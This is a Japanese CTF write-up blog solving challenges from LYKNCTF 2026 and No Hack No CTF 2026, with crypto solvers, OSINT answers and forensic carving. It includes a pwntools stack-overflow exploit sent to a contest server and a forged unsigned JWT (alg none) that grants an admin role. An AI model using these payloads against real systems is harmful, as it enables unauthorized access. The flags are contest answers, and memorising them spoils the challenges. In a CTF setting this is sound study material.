for field_name, prefix, width in fields:
    values = catalog[field_name]

    field_length = len(prefix) + width + 1

    cipher_slices = [
        ciphertext[offset : offset + field_length]
        for ciphertext in ciphertexts
    ]

    solutions = []

    for permutation in itertools.permutations(values):
        common_key = None
        valid = True

        for record_index, value in enumerate(permutation):
            plaintext = make_field(prefix, value, width)

            key_candidate = bytes(
                cipher_byte ^ plain_byte
                for cipher_byte, plain_byte in zip(
                    cipher_slices[record_index],
                    plaintext,
                )
            )

            if common_key is None:
                common_key = key_candidate
            elif key_candidate != common_key:
                valid = False
                break

        if valid:
            solutions.append((permutation, common_key))

    if len(solutions) != 1:
        raise RuntimeError(
            f"{field_name}: expected one solution, "
            f"found {len(solutions)}"
        )

    permutation, field_key = solutions[0]

    print(f"[+] {field_name}")
    for record_index, value in enumerate(permutation):
        print(f"    record {record_index}: {value}")

    keystream[offset : offset + field_length] = field_key
    offset += field_length

secret_plaintext = bytes(
    cipher_byte ^ key_byte
    for cipher_byte, key_byte in zip(
        secret_ciphertext,
        keystream,
    )
)

print()
print("[+] Decrypted secret archive:")
print(secret_plaintext.decode("utf-8"))

実行結果は以下の通り。

[+] item
    record 0: companion cube
    record 1: morality core
    record 2: portal device
    record 3: cake voucher
    record 4: turret shell
    record 5: neurotoxin rig
[+] status
    record 0: issued
    record 1: retired
    record 2: staged
    record 3: quarantined
    record 4: calibrating
    record 5: missing
[+] sector
    record 0: alpha-17
    record 1: beta-05
    record 2: gamma-12
    record 3: delta-33
    record 4: epsilon-09
    record 5: omega-01
[+] memo
    record 0: incineration queue delayed until morale stabilizes
    record 1: subject filed another complaint about sentient cubes
    record 2: portal residue exceeded acceptable cake-adjacent limits
    record 3: telemetry reset repeated after unauthorized empathy event
    record 4: maintenance insists this core is not technically screaming
    record 5: reward paperwork misplaced by enrichment accounting

[+] Decrypted secret archive:
[Aperture Archive]
item=cake voucher
status=issued
sector=omega-01
memo=grodno{c0mp4n10n_cub3_7h15_15_57r1c7ly_4_m4ny_71m3_p4d}
grodno{c0mp4n10n_cub3_7h15_15_57r1c7ly_4_m4ny_71m3_p4d}

MeowMeow? (Crypto)

Meowlangでプログラムが書かれている。ChatGPTに処理概要を聞いてみると、コードは以下のようになっていることがわかった。

seed = unix_time(2026-06-20 00:00:00 UTC .. 2026-06-26 23:59:59 UTC)
splitmix64(x):
  x = (x + 0x9E3779B97F4A7C15) mod 2^64
  z = x
  z = ((z xor (z >> 30)) * 0xBF58476D1CE4E5B9) mod 2^64
  z = ((z xor (z >> 27)) * 0x94D049BB133111EB) mod 2^64
  z = z xor (z >> 31)
state = seed xor 0x6A09E667F3BCC909
skip = 0x80 + ((seed >> 12) & 0xff) + (seed & 0x1f)
advance state skip times
p_words[i] = splitmix64(state) xor rol64(seed, i + 3)
q_words[i] = bswap64(splitmix64(state) xor 0xA5A5A5A5A5A5A5A5 xor p_words[i]) xor rol64(seed, 11 + i)
p = next_prime(pack6(p_words) | (1 << 383) | 1)
q = next_prime(pack6(q_words) | (1 << 383) | 1)
read ciphertext.txt

これを元にnをp, qに素因数分解することができる。あとは通常通り復号する。

#!/usr/bin/env python3
import multiprocessing as mp
import os
import re
from datetime import datetime, timezone
from pathlib import Path
import gmpy2

MASK64 = (1 << 64) - 1

SM64_ADD = 0x9e3779b97f4a7c15
SM64_MUL1 = 0xbf58476d1ce4e5b9
SM64_MUL2 = 0x94d049bb133111eb

STATE_XOR = 0x6a09e667f3bcc909
Q_XOR = 0xa5a5a5a5a5a5a5a5

TARGET_N = None

def rol64(value: int, count: int) -> int:
    count %= 64
    value &= MASK64

    if count == 0:
        return value

    return ((value << count) | (value >> (64 - count))) & MASK64

def bswap64(value: int) -> int:
    return int.from_bytes(
        (value & MASK64).to_bytes(8, "little"),
        "big",
    )

class SplitMix64:
    def __init__(self, state: int):
        self.state = state & MASK64

    def next(self) -> int:
        self.state = (self.state + SM64_ADD) & MASK64

        z = self.state
        z = ((z ^ (z >> 30)) * SM64_MUL1) & MASK64
        z = ((z ^ (z >> 27)) * SM64_MUL2) & MASK64
        z ^= z >> 31

        return z & MASK64

def pack6(words: list[int], byteorder: str) -> int:
    result = 0

    if byteorder == "little":
        for index, word in enumerate(words):
            result |= (word & MASK64) << (64 * index)
    else:
        for word in words:
            result = (result << 64) | (word & MASK64)

    return result


def generate_words(seed: int) -> tuple[list[int], list[int]]:
    rng = SplitMix64(seed ^ STATE_XOR)

    skip = (
        0x80
        + ((seed >> 12) & 0xFF)
        + (seed & 0x1F)
    )

    for _ in range(skip):
        rng.next()

    p_words = []

    for i in range(6):
        value = rng.next() ^ rol64(seed, i + 3)
        p_words.append(value & MASK64)

    q_words = []

    for i in range(6):
        value = rng.next() ^ Q_XOR ^ p_words[i]
        value = bswap64(value)
        value ^= rol64(seed, 11 + i)
        q_words.append(value & MASK64)

    return p_words, q_words


def generate_primes(seed: int, byteorder: str) -> tuple[int, int]:
    p_words, q_words = generate_words(seed)

    p_base = pack6(p_words, byteorder)
    q_base = pack6(q_words, byteorder)

    p_base |= (1 << 383) | 1
    q_base |= (1 << 383) | 1

    p = int(gmpy2.next_prime(p_base))
    q = int(gmpy2.next_prime(q_base))

    return p, q

def parse_integer(value) -> int:
    if isinstance(value, int):
        return value

    text = str(value).strip().replace("_", "")

    if text.lower().startswith("0x"):
        return int(text, 16)

    if re.fullmatch(r"[0-9a-fA-F]+", text) and re.search(
        r"[a-fA-F]", text
    ):
        return int(text, 16)

    return int(text, 10)


def read_ciphertext(path: str) -> tuple[int, int, int]:
    params = Path(path).read_text(encoding="utf-8").strip()
    params = params.splitlines()
    n = int(params[1].split()[-1])
    e = int(params[2].split()[-1])
    c = int(params[3].split()[-1])
    return n, e, c

def init_worker(n: int):
    global TARGET_N
    TARGET_N = n

def search_chunk(args):
    start_seed, end_seed = args

    for seed in range(start_seed, end_seed):
        for byteorder in ("little", "big"):
            p, q = generate_primes(seed, byteorder)

            if p * q == TARGET_N:
                return seed, p, q, byteorder

    return None

def make_chunks(start_seed: int, end_seed: int, chunk_size: int):
    current = start_seed

    while current <= end_seed:
        chunk_end = min(current + chunk_size, end_seed + 1)
        yield current, chunk_end
        current = chunk_end

def int_to_bytes(value: int, length: int | None = None) -> bytes:
    if length is None:
        length = max(1, (value.bit_length() + 7) // 8)

    return value.to_bytes(length, "big")

def remove_pkcs1_v15_padding(data: bytes) -> bytes:
    if not data.startswith(b"\x00\x02"):
        return data

    separator = data.find(b"\x00", 2)

    if separator == -1:
        return data

    return data[separator + 1:]

def decrypt_rsa(
    n: int,
    e: int,
    c: int,
    p: int,
    q: int,
) -> tuple[int, bytes, bytes]:
    phi = (p - 1) * (q - 1)

    d = int(gmpy2.invert(e, phi))
    m = pow(c, d, n)

    modulus_size = (n.bit_length() + 7) // 8
    padded_plaintext = int_to_bytes(m, modulus_size)
    plaintext = remove_pkcs1_v15_padding(padded_plaintext)

    return d, padded_plaintext, plaintext

def main():
    ciphertext_path = "ciphertext.txt"

    n, e, c = read_ciphertext(ciphertext_path)

    start_dt = datetime(
        2026, 6, 20, 0, 0, 0,
        tzinfo=timezone.utc,
    )
    end_dt = datetime(
        2026, 6, 26, 23, 59, 59,
        tzinfo=timezone.utc,
    )

    start_seed = int(start_dt.timestamp())
    end_seed = int(end_dt.timestamp())

    cpu_count = max(1, os.cpu_count() or 1)
    worker_count = max(1, cpu_count - 1)

    chunks = make_chunks(
        start_seed,
        end_seed,
        chunk_size=100,
    )

    found = None

    with mp.Pool(
        processes=worker_count,
        initializer=init_worker,
        initargs=(n,),
    ) as pool:
        for index, result in enumerate(
            pool.imap_unordered(search_chunk, chunks),
            start=1,
        ):
            if result is not None:
                found = result
                pool.terminate()
                break

    if found is None:
        return

    seed, p, q, byteorder = found

    seed_time = datetime.fromtimestamp(
        seed,
        tz=timezone.utc,
    )

    print("\n[+] Found Key")
    print(f"[+] seed      = {seed}")
    print(f"[+] UTC Time  = {seed_time.isoformat()}")
    print(f"[+] byteorder = {byteorder}")
    print(f"[+] p         = {p}")
    print(f"[+] q         = {q}")

    d, padded, plaintext = decrypt_rsa(
        n = n,
        e = e,
        c = c,
        p = p,
        q = q,
    )

    print(f"[+] d = {d}")

    print(plaintext.decode("utf-8", errors="replace"))

if __name__ == "__main__":
    mp.freeze_support()
    main()

実行結果は以下の通り。

[+] Found Key
[+] seed      = 1782240431
[+] UTC Time  = 2026-06-23T18:47:11+00:00
[+] byteorder = big
[+] p         = 26369579001009464633216476376980018314860037796893605183879216006325559743056413969101098103805489108201058675982769
[+] q         = 29358900424013883698418254532767465469841562662977637103599094421350488058030154621855576966567337882483742040231709
[+] d = 543747658338929389170196478101765435667605529223893860760570166992387686602068375389174682805546626770900196399352325775546758323856243832236104295724452472013704675223547793172767648736594655458803564457933221062617842480541672833
grodno{meowMeoWmEOwmeeoowMEOWWW}
grodno{meowMeoWmEOwmeeoowMEOWWW}

LYKNCTF Writeup

この大会は2026/7/6 9:00(JST)~2026/7/8 9:00(JST)に開催されました。
今回は個人で参戦。結果は1103点で658チーム中183位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (A Welcome)

問題にフラグが書いてあった。

LYKNCTF{W3LC0M3_T0_LYKNCTF_2026}

Discord (A Welcome)

Discordに入り、#notiチャネルのトピックを見ると、フラグが書いてあった。

LYKNCTF{W3LC0M3_T0_LYKNCTF_D15C0RD}

Welcome to Instance (A Welcome)

$ nc 51.79.140.18 18033
Welcome to Instance
Welcome
LYKNCTF{c8015567872e48588f99ac75916b9b14}
LYKNCTF{c8015567872e48588f99ac75916b9b14}

Far Away (Osint)



問題文はこうなっている。

I love looking out of the window whenever I’m stuck at my university. Nature is so beautiful. It makes me wonder: when was the last time I actually touched grass? Far away, there is a mountain — a really big mountain. I’m curious about the name of that mountain, and how high it is. image download

FLAG FORMAT: LYKNCTF{mountain_name + height_of_the_highest_peak_of_that_mountain_in_meters+ unit} Separate each part with an underscore _. Everything must be lowercase. The mountain name may contain one word or multiple words. If it has multiple words, separate them with underscores.

Example: LYKNCTF{everest_3667m}

HINT: Use Google Earth 3D and project the view from my university toward the mountain. The circled point is the university parking lot. You can check it on Google Maps. From the direction where I took the photo, look straight ahead — you may find a clue.

484176493_9314250981994998_5962696195847368675_n.jpgを画像検索すると、FPT Universityであることがわかる。
写真を見ると、赤丸の3号館の窓は西の方向を向いている。この方向で目立つ山はBa Vì山脈であることがわかる。
https://en.wikipedia.org/wiki/Ba_V%C3%AC_mountain_rangeで調べると、標高は1296mであることがわかる。

LYKNCTF{ba_vi_1296m}

IMPORTANT DEBRIS (Osint)

問題文はこうなっている。

Some MH370 records do not focus on the flight path, but on fragments recovered years later across the Indian Ocean region. One later debris report describes several pieces from Madagascar, and one item stands out because investigators could link a small marking to a Boeing cabin component.

Find that item and recover the item index, the full marker part number, and the Boeing material specification referenced in the report.

Flag format:

LYKN{ITEM_MARKER_SPEC}

Example formatting:

LYKN{ITEM18_AAA123NN_ABC1-23}

MH370の残骸報告書を探すと、以下のPDFが見つかった。
https://www.mot.gov.my/en/Laporan%20MH%20370/Debris%20Examination%20Report%20-%20Updated%2030%20dec%202018.pdf

Item 31の内容を見ると、白いplacardの「VPPS61」から marker part number が BAC27WPPS61 と特定され、placard上のBoeing Material Specificationは BMS4-20 であることがわかる。

LYKN{ITEM31_BAC27WPPS61_BMS4-20}

Shop (Pwn)

Ghidraでデコンパイルする。

void print_flag(void)

{
  FILE *__stream;
  char *pcVar1;
  size_t sVar2;
  undefined8 uStack_110;
  char acStack_108 [256];
  
  uStack_110 = 0x401466;
  __stream = fopen("flag.txt","r");
  if (__stream != (FILE *)0x0) {
    uStack_110 = 0x401486;
    pcVar1 = fgets(acStack_108,0x100,__stream);
    if (pcVar1 != (char *)0x0) {
      uStack_110 = 0x40149a;
      fputs(acStack_108,stdout);
    }
    uStack_110 = 0x4014a2;
    sVar2 = strlen(acStack_108);
    if ((sVar2 == 0) || (acStack_108[sVar2 - 1] != '\n')) {
      uStack_110 = 0x4014bf;
      putc(10,stdout);
    }
    uStack_110 = 0x4014c7;
    fclose(__stream);
    return;
  }
  puts("LYKNCTF{wr4p_wr4p_wr4p}");
  return;
}
LYKNCTF{wr4p_wr4p_wr4p}

Return-to-Lose (Pwn)

BOFでmission_clear関数をコールすればよい。

$ ROPgadget --binary vuln | grep ": ret"
0x000000000040101a : ret
0x000000000040105a : ret 0xffff
0x0000000000401198 : retf
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('51.79.140.18', 12722)
else:
    p = process('./vuln')

elf = ELF('./vuln')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 51.79.140.18 on port 12722: Done
[*] '/mnt/hgfs/Shared/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
What's your name, traveler?
> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xb6\x11@\x00\x00\x00\x00\x00'
Safe travels!
LYKNCTF{23411abcef7d4760938856b76ef46736}
[*] Closed connection to 51.79.140.18 port 12722
LYKNCTF{23411abcef7d4760938856b76ef46736}

Right in front of your eyes (Web)

$ curl -i http://f436e5bd-8095-4399-b62c-cce42325bdd2.51.79.140.18.nip.io:8080/
HTTP/1.1 302 Found
Content-Length: 116
Content-Type: text/plain; charset=utf-8
Date: Mon, 06 Jul 2026 23:45:07 GMT
Location: /F
Server: Python/3.12 aiohttp/3.14.1

Well done! You never expect this page to be here, right?
Here is the flag: LYKNCTF{0050af5dfbcb4c0792a9abbe1df34c34}
LYKNCTF{0050af5dfbcb4c0792a9abbe1df34c34}

Discord Nitro (Web)

guest:guestでログインする。
Cookieのtokenには以下が設定されている。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.dCdGtxl1AM3Uk65cK67xMPkvOdoCmYZ2YAXd4-SykTs
$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | base64 -d           
{"alg":"HS256","typ":"JWT"}
$ echo eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9 | base64 -d
{"user":"guest","role":"user"}

roleをadminに変更し、署名なしのJWTを作成する。

$ echo -n '{"alg":"none","typ":"JWT"}' | base64
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
$ echo -n '{"user":"guest","role":"admin"}' | base64
eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ==

以下をCookieのtokenに設定し、リロードする。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ.

roleがadminになっている。Go to Adminで/adminにアクセスすると、フラグが表示された。

LYKNCTF{adc10fd344184147a08969a353cc1563}

World Cup 1 (Forensics)

$ exiftool worldcup1_challenge.png
ExifTool Version Number         : 13.25
File Name                       : worldcup1_challenge.png
Directory                       : .
File Size                       : 534 kB
File Modification Date/Time     : 2026:07:07 07:21:47+09:00
File Access Date/Time           : 2026:07:07 07:32:33+09:00
File Inode Change Date/Time     : 2026:07:07 07:21:47+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 512
Image Height                    : 640
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Flag Hint                       : Look deeper in the red pixels
Comment                         : The score was 3-2 after extra time
Description                     : Argentina vs Cabo Verde - World Cup 2026
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 512x640
Megapixels                      : 0.328

StegSolveで開き、[Analyse]-[Data Extract]の画面で、Red 0のみチェックを入れ、Previewを実行する。すると、先頭にフラグが現れる。

4c594b4e4354467b 417267656e74696e  LYKNCTF{ Argentin
61332d324361626f 56657264657dfffe  a3-2Cabo Verde}..
LYKNCTF{Argentina3-2CaboVerde}

World Cup 2 (Forensics)

$ exiftool worldcup2_challenge.png
ExifTool Version Number         : 13.25
File Name                       : worldcup2_challenge.png
Directory                       : .
File Size                       : 284 kB
File Modification Date/Time     : 2026:07:07 07:35:17+09:00
File Access Date/Time           : 2026:07:07 08:11:44+09:00
File Inode Change Date/Time     : 2026:07:07 07:35:17+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Current IPTC Digest             : 33e9aa9745e99ad1e5626fa22f4a2bf1
Special Instructions            : FBMD0a000a4e020000569a00004f1101007920010007350100c7950100c591020029b602000acc0200e3e20200e4530400
Image Width                     : 1536
Image Height                    : 2048
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1536x2048
Megapixels                      : 3.1

$ binwalk worldcup2_challenge.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
283620        0x453E4         Zip archive data, at least v2.0 to extract, compressed size: 29, uncompressed size: 27, name: flag_hidden.txt
283755        0x4546B         End of Zip archive, footer length: 22

jpgの後ろにzipがくっついているので、切り出す。

$ dd bs=1 if=worldcup2_challenge.png of=flag.zip skip=283620
309+0 records in
309+0 records out
309 bytes copied, 0.0383762 s, 8.1 kB/s

切り出したzipを解凍し、内容を確認する。

$ unzip flag.zip      
Archive:  flag.zip
  inflating: flag_hidden.txt         
$ cat flag_hidden.txt 
LYKNCTF{RespectToCaboVerde}
LYKNCTF{RespectToCaboVerde}

Noisy Broadcast (Crypto)

eは3で、3つのn, cがあるが、cは近い値になっている。cにnoiseがあるとして平文は3乗根とほぼ同じ値になる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split()[-1])
c1 = int(params[2].split()[-1])

m, _ = gmpy2.iroot(c1, e)
flag = long_to_bytes(m).decode()
print(flag)
LYKNCTF{n01sy_CRT_w1th_K4nn4n_3mb3dd1ng}

Feedback (Misc)

アンケートに答えたら、フラグが表示された。

LYKNCTF{th4nks_f0r_y0ur_f33dback_2026}

No Hack No CTF 2026 Writeup

この大会は2026/7/4 9:00(JST)~2026/7/6 9:00(JST)に開催されました。
今回もチームで参戦。結果は410点で844チーム中201位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to No Hack No CTF 2026 (Welcome)

デベロッパーツールのネットワークで見てみる。整形すると、以下のようになる。

{
    "success": true,
    "data": {
        "id": 3,
        "name": "Welcome to No Hack No CTF 2026",
        "value": 10,
        "description": "<iframe src=\"https://card.ganl68384.workers.dev\" width=\"100%\" height=\"100%\" frameborder=\"0\" scrolling=\"no\"></iframe>\r\n  \r\n> Author: Frank",
        "attribution": null,
        "connection_info": null,
        "next_id": null,
        "category": "Welcome",
        "state": "visible",
        "max_attempts": 0,
        "position": 0,
        "logic": "any",
        "initial": null,
        "decay": null,
        "minimum": null,
        "function": "static",
        "type": "standard",
        "type_data": {
            "id": "standard",
            "name": "standard",
            "templates": {
                "create": "/plugins/challenges/assets/create.html",
                "update": "/plugins/challenges/assets/update.html",
                "view": "/plugins/challenges/assets/view.html"
            },
            "scripts": {
                "create": "/plugins/challenges/assets/create.js",
                "update": "/plugins/challenges/assets/update.js",
                "view": "/plugins/challenges/assets/view.js"
            }
        },
        "solves": 25,
        "solved_by_me": false,
        "attempts": 0,
        "files": [],
        "tags": [],
        "hints": [
            {
                "id": 1,
                "cost": 0,
                "title": ""
            }
        ],
        "rating": null,
        "ratings": {
            "up": 3,
            "down": 0,
            "count": 3
        },
        "solution_id": null,
        "solution_state": "hidden",
        "view": "<div :class=\"getStyles()\" role=\"document\" x-data=\"Challenge\" x-init='id = 3; max_attempts = 0; attempts = 0; ratingValue = null; ratingReview = null;'>
  <div class=\"modal-content\">
    <div class=\"modal-body py-4 px-4 px-sm-5\">

      <div>
        <button type=\"button\" class=\"btn-close float-end\" data-bs-dismiss=\"modal\" aria-label=\"Close\"></button>

        <ul class=\"nav nav-tabs\">
          <li class=\"nav-item\">
            <button class=\"nav-link active\" data-bs-target=\"#challenge\" @click=\"showChallenge()\">
              \u30c1\u30e3\u30ec\u30f3\u30b8
            </button>
          </li>

          
            
            <li class=\"nav-item\">
              <button class=\"nav-link challenge-submissions\" data-bs-target=\"#submissions\" @click=\"showSubmissions()\">
                
                  Submissions
                
              </button>
            </li>
            
          

          
            <li class=\"nav-item\" x-show=\"getSolutionId()\">
              <button class=\"nav-link challenge-solution\" data-bs-target=\"#solution\" @click=\"showSolution()\">
                Solution
              </button>
            </li>
          

          
            
            <li class=\"nav-item\">
              <button class=\"nav-link challenge-solves\" data-bs-target=\"#solves\" @click=\"showSolves()\">
                  25 \u89e3\u6c7a
              </button>
            </li>
            
          
        </ul>
      </div>

      <div>
        <div class=\"tab-content\">
          <div role=\"tabpanel\" class=\"tab-pane fade show active\" id=\"challenge\">
            <h2 class=\"challenge-name text-center pt-3\">
              Welcome to No Hack No CTF 2026
            </h2>
            <h3 class=\"challenge-value text-center\">
              10
            </h3>


            

            <small class=\"challenge-attribution text-center text-muted\">
              
            </small>

            
            <small class=\"challenge-ratings text-center text-muted d-block\">
              
                
                  <span><i class=\"fa-solid fa-thumbs-up\"></i> 3</span>
                  <span class=\"text-center px-2\">
                    
                    (100% liked)
                    
                  </span>
                  <span><i class=\"fa-solid fa-thumbs-down\"></i> 0</span>
                
              
            </small>
            

            <span class=\"challenge-desc\"><iframe src=\"https://card.ganl68384.workers.dev\" width=\"100%\" height=\"100%\" frameborder=\"0\" scrolling=\"no\"></iframe>
<blockquote>
<p>Author: Frank</p>
</blockquote>
</span>

            

            
              <div class=\"challenge-hints hint-row row\">
                <div class=\"col-12 mb-3\">
                
                  <div x-data=\"Hint\" x-init=\"id = 1\">
                    
                    <details @toggle=\"showHint(event)\">
                      
                      <summary>Unlock Hint for 0 points</summary>
                      
                      <div x-html=\"html\"></div>
                    </details>
                    
                  </div>
                
                </div>
              </div>
            

            

            <template x-if=\"max_attempts > 0\">
              <p class=\"text-center\">
                <span x-text=\"attempts\"></span>/<span x-text=\"max_attempts\"></span> attempt
              </p>
            </template>

            <div class=\"row submit-row\">
              <div class=\"col-12 col-sm-8\">
                
                  <input
                      id=\"challenge-id\" class=\"challenge-id\" type=\"hidden\"
                      value=\"3\"
                  >
                  <input
                      id=\"challenge-input\" class=\"challenge-input form-control\"
                      type=\"text\" name=\"submission\"
                      @keyup.enter=\"submitChallenge()\"
                      placeholder=\"Flag\" x-model=\"submission\"
                  >
                
              </div>

              <div class=\"col-12 col-sm-4 mt-3 mt-sm-0 key-submit\">
                
                  <button
                      id=\"challenge-submit\"
                      class=\"challenge-submit btn btn-outline-secondary w-100 h-100\" type=\"submit\"
                      @click.debounce.500ms=\"submitChallenge()\"
                  >
                    \u9001\u4fe1
                  </button>
                
              </div>
            </div>

            <div class=\"row notification-row\">
              <div class=\"col-12\">
                <template x-if=\"response\">
                  
                  <div class=\"alert text-center w-100 mt-3\"
                      :class=\"{
                        'alert-success': response.data.status == 'correct',
                        'alert-info': response.data.status == 'already_solved',
                        'alert-danger': response.data.status == 'incorrect',
                        'alert-warning': response.data.status == 'paused',
                      }\" role=\"alert\"
                  >
                    <strong x-text=\"response.data.message\"></strong>
                    <div x-show=\"(response.data.status == 'correct' || response.data.status == 'already_solved')\">
                      <div x-show=\"getNextId()\">
                        <button @click=\"nextChallenge()\" class=\"btn btn-info mt-3\">
                          \u6b21\u306e\u8ab2\u984c
                        </button>
                      </div>

                      

                      
                      <div class=\"mt-3\">
                        <hr>
                        <div class=\"text-center\">
                          <p class=\"mb-2\">Rate this challenge:</p>
                          <div class=\"rating-buttons mb-2\" x-init=\"selectedRating = ratingValue || 0;\">
                            <button 
                              class=\"btn btn-outline-success me-2\" 
                              :class=\"{ 'active': selectedRating === 1 }\"
                              @click=\"selectedRating = 1\"
                            >
                              <i class=\"fa-solid fa-thumbs-up\"></i>
                            </button>
                            <button 
                              class=\"btn btn-outline-danger\" 
                              :class=\"{ 'active': selectedRating === -1 }\"
                              @click=\"selectedRating = -1\"
                            >
                              <i class=\"fa-solid fa-thumbs-down\"></i>
                            </button>
                          </div>
                          <div class=\"mt-3\">
                            <textarea 
                              class=\"form-control\" 
                              rows=\"2\" 
                              x-model=\"ratingReview\"
                              placeholder=\"Write a review (optional)\"
                              maxlength=\"2000\"
                            ></textarea>
                          </div>
                          <div class=\"mt-3\">
                            <button 
                              @click=\"submitRating()\"
                              class=\"btn btn-primary\"
                              :disabled=\"!selectedRating\"
                            >
                              \u9001\u4fe1
                            </button>
                          </div>
                          <div x-show=\"ratingSubmitted\" class=\"text-success mt-2\">
                            <small>Thank you for your rating!</small>
                          </div>
                        </div>
                      </div>
                      
                    </div>
                  </div>
                </template>
              </div>
            </div>
          </div>

          <div role=\"tabpanel\" class=\"tab-pane fade\" id=\"submissions\">
            <div class=\"row\">
              <div class=\"col-md-12\">
                <table class=\"table table-striped align-middle text-center\">
                  <thead>
                  <tr>
                    <th>Submission</th>
                    <th>Type</th>
                    <th>\u65e5\u4ed8</th>
                  </tr>
                  </thead>
                  <tbody id=\"challenge-submission-names\">
                  <template x-for=\"submission in submissions\">
                    <tr>
                      <td x-data=\"{ truncate: true }\">
                        <code x-text=\"truncate ? '*'.repeat(submission.provided.length) : submission.provided\"></code>
                        <button class=\"btn btn-link p-0 pl-1\" @click=\"truncate = !truncate\">
                          <i :class=\"truncate ? 'fas fa-eye' : 'fas fa-eye-slash'\"></i>
                        </button>
                      </td>
                      <td x-text=\"submission.type\"></td>
                      <td x-text=\"submission.date\"></td>
                    </tr>
                  </template>
                  </tbody>
                </table>
              </div>
            </div>
          </div>

          <div role=\"tabpanel\" class=\"tab-pane fade\" id=\"solves\">
            <div class=\"row\">
              <div class=\"col-md-12\">
                <table class=\"table table-striped align-middle text-center\">
                  <thead>
                  <tr>
                    <th>\u540d\u524d</th>
                    <th>\u65e5\u4ed8</th>
                  </tr>
                  </thead>
                  <tbody id=\"challenge-solves-names\">
                  <template x-for=\"solve in solves\">
                    <tr>
                      <td>
                        <a :href=\"solve.account_url\" x-text=\"solve.name\"></a>
                      </td>
                      <td x-text=\"solve.date\"></td>
                    </tr>
                  </template>
                  </tbody>
                </table>
              </div>
            </div>
          </div>

          <div role=\"tabpanel\" class=\"tab-pane fade\" id=\"solution\">
            <div class=\"row\">
              <div class=\"col-md-12\">
                <div class=\"challenge-solution-content pt-3\">
                  <template x-if=\"solution\">
                    <div x-html=\"solution\" style=\"white-space: pre-wrap;\">
                    </div>
                  </template>
                </div>
              </div>
            </div>
          </div>

        </div>
      </div>
    </div>
  </div>
</div>"
    }
}

https://card.ganl68384.workers.devにアクセスする。

HTMLソースを見ると、スクリプトにこう書いてある部分がある。

            function genFlag() {
                return `NHNC{${r(ALPHA)}wEL${r(ALPHANUM)}C${r(ALPHANUM)}oM${r(ALPHA)}e${r(ALPHANUM)}}`;
            }

デベロッパーツールのConsoleで以下実行すると、フラグが表示された。

> genFlag()
< 'NHNC{awELgCWoMyep}'
NHNC{awELgCWoMyep}

Final Boarding (fishbaby1011)


問題文はこうなっている。

On the last day of the trip, I stood in front of the boarding gate, ready to board my flight home.

That day in Japan marked the end of Golden Week, and the airport was packed with travelers preparing to return home.

Before boarding, I took a photo of the aircraft in front of me; it was the flight I was about to take.

Based on the aircraft information in the photo and the clues in the challenge, find:

1.The date the photo was taken
2.The IATA flight number of the flight I boarded Flag format: NHNC{YYYYMMDD_FLIGHT}

Please use the IATA flight number, such as BR198, not the ICAO callsign.!
$ exiftool Final_boarding.png                            
ExifTool Version Number         : 13.25
File Name                       : Final_boarding.png
Directory                       : .
File Size                       : 8.9 MB
File Modification Date/Time     : 2026:07:04 09:24:38+09:00
File Access Date/Time           : 2026:07:04 13:21:04+09:00
File Inode Change Date/Time     : 2026:07:04 09:24:38+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
        :
        :
Exifthumbnail Orientation       : 1
Exifthumbnail Resolution Unit   : 2
Exifthumbnail X Resolution      : 72/1
Exifthumbnail Y Resolution      : 72/1
Exif White Balance              : 0
Exif Y Cb Cr Positioning        : 1
Icccopyright                    : Copyright (c) 2023 Google Inc.
Iccdescription                  : Display P3
Aperture                        : 1.7
Image Size                      : 3072x4080
Megapixels                      : 12.5
Scale Factor To 35 mm Equivalent: 7.1
Shutter Speed                   : 1/816
Create Date                     : 2026:05:05 14:49:53.932+09:00
Date/Time Original              : 2026:05:05 14:49:53.932+09:00
Modify Date                     : 2026:05:05 14:49:53.932+09:00
Thumbnail Image                 : (Binary data 19299 bytes, use -b option to extract)
Circle Of Confusion             : 0.004 mm
Depth Of Field                  : inf (6.70 m - inf)
Field Of View                   : 40.3 deg
Focal Length                    : 6.9 mm (35 mm equivalent: 49.0 mm)
Hyperfocal Distance             : 6.70 m
Light Value                     : 13.6
